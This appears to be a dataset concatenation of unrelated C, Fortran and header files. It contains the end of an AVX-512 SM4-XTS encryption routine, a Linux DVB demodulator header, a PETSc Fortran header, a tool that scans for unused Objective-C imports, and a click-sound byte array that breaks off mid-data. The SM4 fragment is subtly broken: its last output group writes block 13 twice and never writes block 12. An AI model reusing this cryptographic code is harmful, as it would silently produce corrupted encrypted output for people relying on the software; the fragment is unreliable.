TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
TRANSPOSE_INP_512(TMP[16], TMP[17], TMP[18], TMP[19], TMP[0], TMP[1], TMP[2], TMP[3]);
SM4_KERNEL(TMP, p_rk1, operation);
p_rk1 -= operation*SM4_ROUNDS;
/* Transpose, XOR with the tweaks again and write data out */
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[4], TMP[5], TMP[6], TMP[7]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_storeu_si512((__m512i*)loc_out[0], _mm512_xor_si512(TMP[0], TWEAK[0]));
_mm512_storeu_si512((__m512i*)loc_out[1], _mm512_xor_si512(TMP[1], TWEAK[1]));
_mm512_storeu_si512((__m512i*)loc_out[2], _mm512_xor_si512(TMP[2], TWEAK[2]));
_mm512_storeu_si512((__m512i*)loc_out[3], _mm512_xor_si512(TMP[3], TWEAK[3]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[8], TMP[9], TMP[10], TMP[11]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_storeu_si512((__m512i*)loc_out[4], _mm512_xor_si512(TMP[0], TWEAK[4]));
_mm512_storeu_si512((__m512i*)loc_out[5], _mm512_xor_si512(TMP[1], TWEAK[5]));
_mm512_storeu_si512((__m512i*)loc_out[6], _mm512_xor_si512(TMP[2], TWEAK[6]));
_mm512_storeu_si512((__m512i*)loc_out[7], _mm512_xor_si512(TMP[3], TWEAK[7]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[12], TMP[13], TMP[14], TMP[15]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_storeu_si512((__m512i*)loc_out[8], _mm512_xor_si512(TMP[0], TWEAK[8]));
_mm512_storeu_si512((__m512i*)loc_out[9], _mm512_xor_si512(TMP[1], TWEAK[9]));
_mm512_storeu_si512((__m512i*)loc_out[10], _mm512_xor_si512(TMP[2], TWEAK[10]));
_mm512_storeu_si512((__m512i*)loc_out[11], _mm512_xor_si512(TMP[3], TWEAK[11]));
TRANSPOSE_OUT_512(TMP[0], TMP[1], TMP[2], TMP[3], TMP[16], TMP[17], TMP[18], TMP[19]);
TMP[0] = _mm512_shuffle_epi8(TMP[0], M512(swapBytes));
TMP[1] = _mm512_shuffle_epi8(TMP[1], M512(swapBytes));
TMP[2] = _mm512_shuffle_epi8(TMP[2], M512(swapBytes));
TMP[3] = _mm512_shuffle_epi8(TMP[3], M512(swapBytes));
_mm512_storeu_si512((__m512i*)loc_out[13], _mm512_xor_si512(TMP[1], TWEAK[13]));
_mm512_storeu_si512((__m512i*)loc_out[13], _mm512_xor_si512(TMP[1], TWEAK[13]));
_mm512_storeu_si512((__m512i*)loc_out[14], _mm512_xor_si512(TMP[2], TWEAK[14]));
_mm512_storeu_si512((__m512i*)loc_out[15], _mm512_xor_si512(TMP[3], TWEAK[15]));
/* Update input/output pointers to data */
M512(loc_inp) = _mm512_add_epi64(_mm512_loadu_si512(loc_inp), _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
M512(loc_inp + 8) = _mm512_add_epi64(_mm512_loadu_si512(loc_inp + 8), _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
M512(loc_out) = _mm512_add_epi64(_mm512_loadu_si512(loc_out), _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
M512(loc_out + 8) = _mm512_add_epi64(_mm512_loadu_si512(loc_out + 8), _mm512_set1_epi64(4 * SM4_BLOCK_SIZE));
/* Update number of blocks left and processing mask */
loc_len = _mm512_sub_epi32(loc_len, _mm512_set1_epi32(4 * SM4_BLOCK_SIZE));
tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len, _mm512_set1_epi32(5 * SM4_BLOCK_SIZE), _MM_CMPINT_NLT);
}
/* Check if we have any data left on any of the buffers */
tmp_mask = _mm512_mask_cmp_epi32_mask(mb_mask, loc_len, _mm512_setzero_si512(), _MM_CMPINT_NLE);
/*
* At this point, at least one buffer has less than 5 full blocks,
* so dealing with a partial block might be needed.
*/
if (tmp_mask)
sm4_xts_mask_kernel_mb16(NEXT_TWEAK, p_rk1, loc_len, loc_inp, loc_out, mb_mask, operation);
/* clear local copy of sensitive data */
zero_mb8((int64u(*)[8])TMP, sizeof(TMP) / sizeof(TMP[0]));
zero_mb8((int64u(*)[8])TWEAK, sizeof(TWEAK) / sizeof(TWEAK[0]));
}
|
59102306910bbad5f0c5f6c2aaed2c2e362f9af2
|
e73547787354afd9b717ea57fe8dd0695d161821
|
/src/battle/area/dgb/actor/clubba.c
|
0db0c21053f7f54e5903405edf0c625f2f9a5c82
|
[] |
no_license
|
pmret/papermario
|
8b514b19653cef8d6145e47499b3636b8c474a37
|
9774b26d93f1045dd2a67e502b6efc9599fb6c31
|
refs/heads/main
| 2023-08-31T07:09:48.951514
| 2023-08-21T18:07:08
| 2023-08-21T18:07:08
| 287,151,133
| 904
| 139
| null | 2023-09-14T02:44:23
| 2020-08-13T01:22:57
|
C
|
UTF-8
|
C
| false
| false
| 66
|
c
|
clubba.c
|
#include "../area.h"
#include "battle/common/actor/clubba.inc.c"
|
27a3052143e28921f5304705c68ecba971667837
|
eecd5e4c50d8b78a769bcc2675250576bed34066
|
/src/tao/f90-mod/petsctao.h
|
542457358b5f5c30b1f93426856bafb16a67f97b
|
[
"BSD-2-Clause"
] |
permissive
|
petsc/petsc
|
3b1a04fea71858e0292f9fd4d04ea11618c50969
|
9c5460f9064ca60dd71a234a1f6faf93e7a6b0c9
|
refs/heads/main
| 2023-08-17T20:51:16.507070
| 2023-08-17T16:08:06
| 2023-08-17T16:08:06
| 8,691,401
| 341
| 169
|
NOASSERTION
| 2023-03-29T11:02:58
| 2013-03-10T20:55:21
|
C
|
UTF-8
|
C
| false
| false
| 968
|
h
|
petsctao.h
|
!
! Used by petsctaomod.F90 to create Fortran module file
!
#include "petsc/finclude/petsctao.h"
type tTao
PetscFortranAddr:: v PETSC_FORTRAN_TYPE_INITIALIZE
end type
Tao, parameter :: PETSC_NULL_TAO = tTao(0)
PetscEnum, parameter :: TAO_CONVERGED_GATOL = 3
PetscEnum, parameter :: TAO_CONVERGED_GRTOL = 4
PetscEnum, parameter :: TAO_CONVERGED_GTTOL = 5
PetscEnum, parameter :: TAO_CONVERGED_STEPTOL = 6
PetscEnum, parameter :: TAO_CONVERGED_MINF = 7
PetscEnum, parameter :: TAO_CONVERGED_USER = 8
PetscEnum, parameter :: TAO_DIVERGED_MAXITS = -2
PetscEnum, parameter :: TAO_DIVERGED_NAN = -4
PetscEnum, parameter :: TAO_DIVERGED_MAXFCN = -5
PetscEnum, parameter :: TAO_DIVERGED_LS_FAILURE = -6
PetscEnum, parameter :: TAO_DIVERGED_TR_REDUCTION = -7
PetscEnum, parameter :: TAO_DIVERGED_USER = -8
PetscEnum, parameter :: TAO_CONTINUE_ITERATING = 0
|
7860408eb9301d3c79107ae7cff8cad5479e1f02
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/media/dvb-frontends/cxd2820r_priv.h
|
7ff5f60c83e1f29d7600c1bd3169c813a6045d8e
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 4,117
|
h
|
cxd2820r_priv.h
|
/*
* Sony CXD2820R demodulator driver
*
* Copyright (C) 2010 Antti Palosaari <crope@iki.fi>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifndef CXD2820R_PRIV_H
#define CXD2820R_PRIV_H
#include <linux/dvb/version.h>
#include "dvb_frontend.h"
#include "dvb_math.h"
#include "cxd2820r.h"
#include <linux/gpio.h>
struct reg_val_mask {
u32 reg;
u8 val;
u8 mask;
};
struct cxd2820r_priv {
struct i2c_adapter *i2c;
struct dvb_frontend fe;
struct cxd2820r_config cfg;
bool ber_running;
u8 bank[2];
#define GPIO_COUNT 3
u8 gpio[GPIO_COUNT];
#ifdef CONFIG_GPIOLIB
struct gpio_chip gpio_chip;
#endif
fe_delivery_system_t delivery_system;
bool last_tune_failed; /* for switch between T and T2 tune */
};
/* cxd2820r_core.c */
extern int cxd2820r_debug;
int cxd2820r_gpio(struct dvb_frontend *fe, u8 *gpio);
int cxd2820r_wr_reg_mask(struct cxd2820r_priv *priv, u32 reg, u8 val,
u8 mask);
int cxd2820r_wr_regs(struct cxd2820r_priv *priv, u32 reginfo, u8 *val,
int len);
u32 cxd2820r_div_u64_round_closest(u64 dividend, u32 divisor);
int cxd2820r_wr_regs(struct cxd2820r_priv *priv, u32 reginfo, u8 *val,
int len);
int cxd2820r_rd_regs(struct cxd2820r_priv *priv, u32 reginfo, u8 *val,
int len);
int cxd2820r_wr_reg(struct cxd2820r_priv *priv, u32 reg, u8 val);
int cxd2820r_rd_reg(struct cxd2820r_priv *priv, u32 reg, u8 *val);
/* cxd2820r_c.c */
int cxd2820r_get_frontend_c(struct dvb_frontend *fe);
int cxd2820r_set_frontend_c(struct dvb_frontend *fe);
int cxd2820r_read_status_c(struct dvb_frontend *fe, fe_status_t *status);
int cxd2820r_read_ber_c(struct dvb_frontend *fe, u32 *ber);
int cxd2820r_read_signal_strength_c(struct dvb_frontend *fe, u16 *strength);
int cxd2820r_read_snr_c(struct dvb_frontend *fe, u16 *snr);
int cxd2820r_read_ucblocks_c(struct dvb_frontend *fe, u32 *ucblocks);
int cxd2820r_init_c(struct dvb_frontend *fe);
int cxd2820r_sleep_c(struct dvb_frontend *fe);
int cxd2820r_get_tune_settings_c(struct dvb_frontend *fe,
struct dvb_frontend_tune_settings *s);
/* cxd2820r_t.c */
int cxd2820r_get_frontend_t(struct dvb_frontend *fe);
int cxd2820r_set_frontend_t(struct dvb_frontend *fe);
int cxd2820r_read_status_t(struct dvb_frontend *fe, fe_status_t *status);
int cxd2820r_read_ber_t(struct dvb_frontend *fe, u32 *ber);
int cxd2820r_read_signal_strength_t(struct dvb_frontend *fe, u16 *strength);
int cxd2820r_read_snr_t(struct dvb_frontend *fe, u16 *snr);
int cxd2820r_read_ucblocks_t(struct dvb_frontend *fe, u32 *ucblocks);
int cxd2820r_init_t(struct dvb_frontend *fe);
int cxd2820r_sleep_t(struct dvb_frontend *fe);
int cxd2820r_get_tune_settings_t(struct dvb_frontend *fe,
struct dvb_frontend_tune_settings *s);
/* cxd2820r_t2.c */
int cxd2820r_get_frontend_t2(struct dvb_frontend *fe);
int cxd2820r_set_frontend_t2(struct dvb_frontend *fe);
int cxd2820r_read_status_t2(struct dvb_frontend *fe, fe_status_t *status);
int cxd2820r_read_ber_t2(struct dvb_frontend *fe, u32 *ber);
int cxd2820r_read_signal_strength_t2(struct dvb_frontend *fe, u16 *strength);
int cxd2820r_read_snr_t2(struct dvb_frontend *fe, u16 *snr);
int cxd2820r_read_ucblocks_t2(struct dvb_frontend *fe, u32 *ucblocks);
int cxd2820r_init_t2(struct dvb_frontend *fe);
int cxd2820r_sleep_t2(struct dvb_frontend *fe);
int cxd2820r_get_tune_settings_t2(struct dvb_frontend *fe,
struct dvb_frontend_tune_settings *s);
#endif /* CXD2820R_PRIV_H */
|
5bc09dd95b346f222897d1f03955dd47b615fc88
|
22ad0b50c643bd20bd2268523e752733e3fd89c4
|
/FindUnusedImport/FindUnusedImport/main.c
|
fbbcae91c3bf87b563a6b86fbd0e36404ea86c86
|
[
"MIT"
] |
permissive
|
tripleCC/Laboratory
|
857ad947b05c132c31744829c4add3140a6e7974
|
8df17d2da2d4f73c5f3911a6fd7c75f866ae1467
|
refs/heads/master
| 2023-06-08T00:16:10.093064
| 2023-06-02T13:09:41
| 2023-06-02T13:10:32
| 187,594,453
| 159
| 41
| null | null | null | null |
UTF-8
|
C
| false
| false
| 8,253
|
c
|
main.c
|
//
// main.c
// FindUnusedImport
//
// Created by tripleCC on 6/4/19.
// Copyright © 2019 tripleCC. All rights reserved.
//
#include <stdio.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <limits.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <assert.h>
#include "hash_table.h"
#include "list.h"
#include "thread_pool.h"
static const char *const g_header_file_extname = ".h";
static const char *const g_file_extname[] = {
g_header_file_extname,
".m",
".mm",
".pch",
// "modulemap" 有伞头文件
};
typedef struct {
char name[NAME_MAX];
char path[PATH_MAX];
} objc_file;
typedef struct {
size_t length;
char keyword[15];
} fui_keyword_info;
static fui_keyword_info g_require_infos[] = {
{ 0, "#import" },
{ 0, "#include" }
};
bool is_header_required(const char *content, unsigned long length, const char *name);
void init_keyword_infos(fui_keyword_info *infos, size_t size);
void free_list(const char *key, void *value) {
fui_list_free((fui_list_ref)value);
}
fui_hash_table_ref map;
pthread_mutex_t map_lock = PTHREAD_MUTEX_INITIALIZER;
fui_thread_pool_ref pool;
fui_list_ref headers;
fui_list_ref objc_files;
struct file_check_context {
objc_file *file;
char *contents;
unsigned long length;
};
void header_foreach(void *value, void *ctx) {
struct file_check_context *context = ctx;
objc_file *file = context->file;
char *contents = context->contents;
unsigned long length = context->length;
objc_file *header = value;
if (strlen(header->name) == strlen(file->name) &&
!strncmp(header->name, file->name, strlen(header->name) - 2))
return;
if (is_header_required(contents, length, header->name)) {
fui_list_ref value = NULL;
pthread_mutex_lock(&map_lock);
fui_hash_table_get(map, header->path, (void **)&value);
if (!value) {
fui_list_ref list = fui_list_allocate();
fui_list_add(list, file->path);
fui_hash_table_add(map, header->path, list);
} else {
fui_list_add(value, file->path);
}
pthread_mutex_unlock(&map_lock);
}
}
void *check_file(void *argv) {
objc_file *file = argv;
int fd = open(file->path, O_RDONLY);
if (fd < 0) return NULL;
off_t length = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
char *contents = malloc(length);
if (!contents) return NULL;
// printf("%s \n", file->path);
if (read(fd, contents, length)) {
struct file_check_context *ctx = malloc(sizeof(struct file_check_context));
ctx->file = file;
ctx->contents = contents;
ctx->length = length;
fui_list_foreach(headers, header_foreach, ctx);
free(ctx);
}
free(contents);
close(fd);
return NULL;
}
void find_files_with_filter(const char *root, fui_list_ref list, bool (*filter)(const char* )) {
struct dirent *ent = NULL;
DIR *dir = opendir(root);
if (!dir) return;
while (NULL != (ent = readdir(dir))) {
if (!strncmp(ent->d_name, ".", 1)) continue;
switch (ent->d_type) {
case DT_DIR: {
char path[PATH_MAX] = { 0 };
snprintf(path, sizeof(path), "%s/%s", root, ent->d_name);
find_files_with_filter(path, list, filter);
} break;
case DT_REG: {
if (filter && filter(ent->d_name)) {
objc_file *file = calloc(1, sizeof(objc_file));
memcpy(file->name, ent->d_name, strlen(ent->d_name));
snprintf(file->path, sizeof(file->path), "%s/%s", root, ent->d_name);
fui_list_add(list, file);
}
} break;
default: break;
}
}
closedir(dir);
}
static inline bool has_extname(const char *file, const char *extname) {
if (!file || !extname) return false;
size_t fsize = strlen(file);
size_t esize = strlen(extname);
if (esize > fsize) return false;
return !strcmp(file + fsize - esize, extname);
}
static bool has_objc_header_extname(const char *file) {
return has_extname(file, g_header_file_extname);
}
static bool has_objc_extname(const char *file) {
for (int i = 0; i < sizeof(g_file_extname) / sizeof(char *) - 1; i++) {
if (has_extname(file, g_file_extname[i])) {
return true;
}
}
return false;
}
void objc_file_foreach(void *value, void *ctx) {
thread_pool_add_task(pool, check_file, value);
}
int count = 0;
void print_unused_import(void *value, void *ctx) {
fui_hash_table_ref map = ctx;
fui_list_ref list = NULL;
objc_file *file = value;
fui_hash_table_get(map, file->path, (void **)&list);
if (!list) {
count++;
printf("%s\n", file->name);
}
}
int main(int argc, const char * argv[]) {
char *root = "/Users/songruiwang/Develop/gif-source";
struct stat path_stat;
stat(root, &path_stat);
if (!S_ISDIR(path_stat.st_mode)) {
printf("\"%s\" isn't an available directory.\n", root);
return -1;
}
headers = fui_list_allocate();
objc_files = fui_list_allocate();
pool = thread_pool_init();
map = fui_hash_table_allocate();
find_files_with_filter(root, headers, has_objc_header_extname);
find_files_with_filter(root, objc_files, has_objc_extname);
init_keyword_infos(g_require_infos, sizeof(g_require_infos));
fui_list_foreach(objc_files, objc_file_foreach, NULL);
thread_pool_wait(pool);
fui_list_foreach(headers, print_unused_import, map);
printf("%d\n", count);
printf("%d\n", fui_list_get_number(headers));
fui_hash_table_foreach(map, free_list);
fui_hash_table_free(map);
fui_list_free(headers);
fui_list_free(objc_files);
thread_pool_destroy(pool);
return 0;
}
void init_keyword_infos(fui_keyword_info *infos, size_t size) {
for (int i = 0; i < size / sizeof(fui_keyword_info); i++) {
fui_keyword_info *info = &infos[i];
info->length = strlen(info->keyword);
}
}
bool is_header_required(const char *content, unsigned long length, const char *name) {
bool match_require = false;
bool start_require = false;
size_t name_length = strlen(name);
const char *content_end = content + length;
unsigned int require_infos_count = sizeof(g_require_infos) / sizeof(fui_keyword_info);
do {
// match # for keyword
while (content < content_end && *content != '#') {
// if match @interface @class @implementation @protocol ..., return false
if (start_require &&
*content == '@' &&
*(content - 1) == '\n')
return false;
content++;
}
start_require = true;
// match import keyword in line
for (int i = 0; i < require_infos_count; i++) {
fui_keyword_info info = g_require_infos[i];
if (content < content_end - info.length &&
!strncmp(content, info.keyword, info.length)) {
content += info.length;
match_require = true;
break;
}
}
if (!match_require) {
content++;
continue;
}
// match file name in line
while (content < content_end && *content != '\n') {
while (*content == ' ' || *content == '\t') content++;
if (!strncmp(content, name, name_length)) {
char left = *(content - 1);
char right = *(content + name_length);
if ((left == '/' && right == '>') ||
(left == '/' && right == '"') ||
(left == '<' && right == '>') ||
(left == '"' && right == '"'))
return true;
}
content++;
}
match_require = false;
} while (content < content_end);
return false;
}
|
23e1ddfbde995ed43aaa338f3e97fcf19df46f6c
|
db43102dabf5371688cc6564284e8dfb609a1bf4
|
/spm/Sources/IGListKit/IGListSectionControllerInternal.h
|
48fb9187db22e6b94dff52c7e2882234672d3724
|
[
"MIT",
"CC-BY-4.0"
] |
permissive
|
Instagram/IGListKit
|
8a6b2f8d5d87a9c101b3a19a998ad646bda283ce
|
ffd51e6235c761b14c52ac657c69dd52ee7b321f
|
refs/heads/main
| 2023-08-03T15:15:50.663201
| 2023-07-27T03:35:00
| 2023-07-27T03:35:00
| 67,588,512
| 13,748
| 1,920
|
MIT
| 2023-06-13T09:16:50
| 2016-09-07T08:39:27
|
Objective-C
|
UTF-8
|
C
| false
| false
| 68
|
h
|
IGListSectionControllerInternal.h
|
../../../Source/IGListKit/Internal/IGListSectionControllerInternal.h
|
4cbb9091f456cc880ad0b1979d8f41310a6e9253
|
091a6200be74bf6577c86f623665bcc24e16b02b
|
/PyPortal_Titano_ArduinoSelfTest/click.h
|
29679b0d9abe2850e63bb93a3d659608a04ef035
|
[
"MIT"
] |
permissive
|
adafruit/Adafruit_Learning_System_Guides
|
b5f7bce40a16da64e7a79d4b39de032f2cca41d4
|
5eaa7a15a437c533b89f359a25983e24bb6b5438
|
refs/heads/main
| 2023-09-05T18:31:41.621956
| 2023-09-05T15:36:09
| 2023-09-05T15:36:09
| 105,065,494
| 937
| 937
|
MIT
| 2023-09-12T18:48:53
| 2017-09-27T20:22:44
|
C
|
UTF-8
|
C
| false
| false
| 7,711
|
h
|
click.h
|
// SPDX-FileCopyrightText: 2020 gmeader for Adafruit Industries
//
// SPDX-License-Identifier: MIT
#define SAMPLE_RATE 16000
const uint8_t clickaudio[] = {
0x7E, 0x83, 0x7C, 0x84, 0x7A, 0x88, 0x76, 0x90, 0x00, 0x64, 0xFF, 0xE9,
0xFF, 0xF1, 0xFF, 0xEB, 0xFF, 0x8C, 0x00, 0x0D, 0x00, 0x0A, 0x00, 0x0D,
0x00, 0x74, 0xFF, 0xEB, 0xFF, 0xEE, 0xFF, 0xEB, 0xFF, 0x80, 0x00, 0x0A,
0x00, 0x02, 0x00, 0x00, 0x07, 0x00, 0xC7, 0xFF, 0xF3, 0xFF, 0xF6, 0xFF,
0xF3, 0xFF, 0x30, 0x00, 0x0A, 0x00, 0x07, 0x00, 0x09, 0x00, 0xD2, 0xFF,
0xF6, 0xFF, 0xF8, 0xFF, 0xF7, 0xFF, 0x29, 0x00, 0x07, 0x00, 0x06, 0x00,
0x09, 0x00, 0xDB, 0xFF, 0xF9, 0xFF, 0xFC, 0xFF, 0xF9, 0xFF, 0x22, 0x00,
0x06, 0x00, 0x05, 0x00, 0x07, 0x00, 0xE2, 0xFF, 0xFC, 0xFF, 0xFC, 0xFF,
0xFB, 0xFF, 0x1C, 0x00, 0x05, 0x00, 0x06, 0x00, 0x0A, 0x00, 0x30, 0xFF,
0xF6, 0xFF, 0xF7, 0xFF, 0xF5, 0xFF, 0xCC, 0x00, 0x0B, 0x00, 0x08, 0x00,
0x0B, 0x00, 0x3A, 0xFF, 0xF5, 0xFF, 0xF8, 0xFF, 0xF5, 0xFF, 0xC3, 0x00,
0x0E, 0x00, 0x0A, 0x00, 0x0D, 0x00, 0x43, 0xFF, 0xF3, 0xFF, 0xF6, 0xFF,
0xF6, 0xFF, 0xBB, 0x00, 0x11, 0x00, 0x0E, 0x00, 0x11, 0x00, 0x4F, 0xFF,
0xF7, 0xFF, 0xFE, 0xFF, 0xFF, 0xF5, 0xFF, 0x6B, 0x00, 0x13, 0x00, 0x0E,
0x00, 0x13, 0x00, 0xA3, 0xFF, 0xF2, 0xFF, 0xF6, 0xFF, 0xF0, 0xFF, 0x5D,
0x00, 0x0F, 0x00, 0x0C, 0x00, 0x10, 0x00, 0xA9, 0xFF, 0xF2, 0xFF, 0xF6,
0xFF, 0xF2, 0xFF, 0x52, 0x00, 0x0F, 0x00, 0x0C, 0x00, 0x0F, 0x00, 0xB3,
0xFF, 0xF3, 0xFF, 0xF5, 0xFF, 0xF1, 0xFF, 0x49, 0x00, 0x0B, 0x00, 0x05,
0x00, 0x04, 0x00, 0x0D, 0xF3, 0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6,
0x04, 0x01, 0x00, 0x03, 0x00, 0x04, 0x00, 0x0F, 0xFC, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xFF, 0xEF, 0x00, 0x04, 0x00, 0x03, 0x00, 0x04, 0x00, 0x17,
0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xEA, 0x00, 0x07, 0x00, 0x07,
0x00, 0x08, 0x00, 0x20, 0xFF, 0xFF, 0xFD, 0xFF, 0xFB, 0xFF, 0xF4, 0xFF,
0x9D, 0x00, 0x16, 0x00, 0x10, 0x00, 0x16, 0x00, 0x6C, 0xFF, 0xED, 0xFF,
0xF2, 0xFF, 0xED, 0xFF, 0x91, 0x00, 0x15, 0x00, 0x0F, 0x00, 0x15, 0x00,
0x74, 0xFF, 0xEB, 0xFF, 0xF0, 0xFF, 0xEE, 0xFF, 0x88, 0x00, 0x15, 0x00,
0x10, 0x00, 0x15, 0x00, 0x7E, 0xFF, 0xEC, 0xFF, 0xF2, 0xFF, 0xED, 0xFF,
0x80, 0x00, 0x15, 0x00, 0x10, 0x00, 0x18, 0x00, 0x8B, 0xFF, 0xF0, 0xFF,
0xF8, 0xFF, 0xFD, 0xFA, 0xFF, 0x34, 0x00, 0x0F, 0x00, 0x0D, 0x00, 0x10,
0x00, 0xD9, 0xFF, 0xF9, 0xFF, 0xF9, 0xFF, 0xF8, 0xFF, 0x29, 0x00, 0x0C,
0x00, 0x09, 0x00, 0x0B, 0x00, 0xDF, 0xFF, 0xFA, 0xFF, 0xF9, 0xFF, 0xFA,
0xFF, 0x21, 0x00, 0x0A, 0x00, 0x08, 0x00, 0x09, 0x00, 0xE7, 0xFF, 0xFA,
0xFE, 0xFD, 0xFE, 0xFB, 0xFF, 0x19, 0x00, 0x09, 0x00, 0x09, 0x00, 0x0D,
0x00, 0x39, 0xFF, 0xF2, 0xFF, 0xF4, 0xFF, 0xF1, 0xFF, 0xC4, 0x00, 0x11,
0x00, 0x0C, 0x00, 0x10, 0x00, 0x42, 0xFF, 0xF1, 0xFF, 0xF5, 0xFF, 0xF2,
0xFF, 0xBC, 0x00, 0x13, 0x00, 0x0E, 0x00, 0x12, 0x00, 0x4A, 0xFF, 0xF2,
0xFF, 0xF5, 0xFF, 0xF3, 0xFF, 0xB5, 0x00, 0x15, 0x00, 0x10, 0x00, 0x15,
0x00, 0x59, 0xFF, 0xF3, 0xFF, 0xFC, 0xFB, 0xFF, 0xF3, 0xFF, 0x64, 0x00,
0x15, 0x00, 0x11, 0x00, 0x15, 0x00, 0xA9, 0xFF, 0xF0, 0xFF, 0xF1, 0xFF,
0xF0, 0xFF, 0x57, 0x00, 0x12, 0x00, 0x0E, 0x00, 0x11, 0x00, 0xAE, 0xFF,
0xEE, 0xFF, 0xF3, 0xFF, 0xEF, 0xFF, 0x4C, 0x00, 0x10, 0x00, 0x0D, 0x00,
0x10, 0x00, 0xB7, 0xFF, 0xF1, 0xFF, 0xF2, 0xFF, 0xEE, 0xFF, 0x42, 0x00,
0x0D, 0x00, 0x09, 0x00, 0x07, 0x00, 0x11, 0xF7, 0xFE, 0xFD, 0xFD, 0xFF,
0xFB, 0xFF, 0xEF, 0x03, 0x04, 0x01, 0x05, 0x01, 0x07, 0x00, 0x16, 0xFE,
0xFB, 0xFD, 0xFB, 0xFF, 0xF9, 0xFF, 0xE6, 0x00, 0x07, 0x00, 0x06, 0x00,
0x07, 0x00, 0x1A, 0xFF, 0xFA, 0xFF, 0xFC, 0xFF, 0xF9, 0xFF, 0xE1, 0x00,
0x04, 0x00, 0x04, 0x00, 0x05, 0x00, 0x21, 0xFF, 0xF7, 0xFF, 0xF9, 0xFF,
0xF5, 0xFF, 0xD7, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x0A, 0x00, 0x6B,
0xFF, 0xEB, 0xFF, 0xF1, 0xFF, 0xED, 0xFF, 0x89, 0x00, 0x10, 0x00, 0x0D,
0x00, 0x0F, 0x00, 0x7A, 0xFF, 0xEE, 0xFF, 0xF2, 0xFF, 0xEF, 0xFF, 0x80,
0x00, 0x12, 0x00, 0x0C, 0x00, 0x11, 0x00, 0x85, 0xFF, 0xEF, 0xFF, 0xF4,
0xFF, 0xEF, 0xFF, 0x77, 0x00, 0x12, 0x00, 0x0E, 0x00, 0x14, 0x00, 0x92,
0xFF, 0xF3, 0xFF, 0xFC, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x0C, 0x00,
0x0B, 0x00, 0x0B, 0x00, 0xE0, 0xFF, 0xFC, 0xFF, 0xFD, 0xFF, 0xFB, 0xFF,
0x22, 0x00, 0x08, 0x00, 0x05, 0x00, 0x07, 0x00, 0xE6, 0xFF, 0xFD, 0xFF,
0xFF, 0xFF, 0xFE, 0xFF, 0x19, 0x00, 0x06, 0x00, 0x05, 0x00, 0x06, 0x00,
0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x06, 0x00,
0x07, 0x00, 0x0B, 0x00, 0x3C, 0xFF, 0xF4, 0xFF, 0xF8, 0xFF, 0xF4, 0xFF,
0xC0, 0x00, 0x0E, 0x00, 0x0A, 0x00, 0x0E, 0x00, 0x48, 0xFF, 0xF3, 0xFF,
0xF8, 0xFF, 0xF4, 0xFF, 0xB7, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x10, 0x00,
0x4F, 0xFF, 0xF2, 0xFF, 0xF8, 0xFF, 0xF3, 0xFF, 0xAF, 0x00, 0x12, 0x00,
0x0F, 0x00, 0x13, 0x00, 0x5D, 0xFF, 0xF7, 0xFF, 0xFF, 0xFE, 0xFF, 0xF6,
0xFF, 0x5B, 0x00, 0x12, 0x00, 0x0E, 0x00, 0x12, 0x00, 0xAF, 0xFF, 0xF4,
0xFF, 0xF6, 0xFF, 0xF3, 0xFF, 0x50, 0x00, 0x0F, 0x00, 0x0C, 0x00, 0x0F,
